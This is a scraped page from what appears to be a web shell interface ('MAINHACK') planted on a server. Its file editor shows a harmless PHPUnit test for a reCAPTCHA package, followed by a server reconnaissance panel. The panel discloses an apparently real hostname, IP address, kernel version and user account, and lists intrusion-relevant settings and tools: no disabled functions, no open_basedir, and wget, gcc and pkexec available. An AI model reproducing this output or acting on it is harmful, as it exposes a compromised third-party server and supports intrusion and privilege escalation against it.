[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: NoCaptchaTest.php
<?php use Anhskohbo\NoCaptcha\NoCaptcha; class NoCaptchaTest extends PHPUnit_Framework_TestCase { /** * @var NoCaptcha */ private $captcha; public function setUp() { parent::setUp(); $this->captcha = new NoCaptcha('{secret-key}', '{site-key}'); } public function testRequestShouldWorks() { $response = $this->captcha->verifyResponse('should_false'); } public function testJsLink() { $this->assertTrue($this->captcha instanceof NoCaptcha); $simple = '<script src="https://www.google.com/recaptcha/api.js?" async defer></script>'."\n"; $withLang = '<script src="https://www.google.com/recaptcha/api.js?hl=vi" async defer></script>'."\n"; $withCallback = '<script src="https://www.google.com/recaptcha/api.js?render=explicit&onload=myOnloadCallback" async defer></script>'."\n"; $this->assertEquals($simple, $this->captcha->renderJs()); $this->assertEquals($withLang, $this->captcha->renderJs('vi')); $this->assertEquals($withCallback, $this->captcha->renderJs(null, true, 'myOnloadCallback')); } public function testDisplay() { $this->assertTrue($this->captcha instanceof NoCaptcha); $simple = '<div data-sitekey="{site-key}" class="g-recaptcha"></div>'; $withAttrs = '<div data-theme="light" data-sitekey="{site-key}" class="g-recaptcha"></div>'; $this->assertEquals($simple, $this->captcha->display()); $this->assertEquals($withAttrs, $this->captcha->display(['data-theme' => 'light'])); } public function testdisplaySubmit() { $this->assertTrue($this->captcha instanceof NoCaptcha); $javascript = '<script>function onSubmittest(){document.getElementById("test").submit();}</script>'; $simple = '<button data-callback="onSubmittest" data-sitekey="{site-key}" class="g-recaptcha"><span>submit</span></button>'; $withAttrs = '<button data-theme="light" class="g-recaptcha 123" data-callback="onSubmittest" data-sitekey="{site-key}"><span>submit123</span></button>'; $this->assertEquals($simple . $javascript, $this->captcha->displaySubmit('test')); $withAttrsResult = $this->captcha->displaySubmit('test','submit123',['data-theme' => 'light', 'class' => '123']); $this->assertEquals($withAttrs . $javascript, $withAttrsResult); } public function testdisplaySubmitWithCustomCallback() { $this->assertTrue($this->captcha instanceof NoCaptcha); $withAttrs = '<button data-theme="light" class="g-recaptcha 123" data-callback="onSubmitCustomCallback" data-sitekey="{site-key}"><span>submit123</span></button>'; $withAttrsResult = $this->captcha->displaySubmit('test-custom','submit123',['data-theme' => 'light', 'class' => '123', 'data-callback' => 'onSubmitCustomCallback']); $this->assertEquals($withAttrs, $withAttrsResult); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002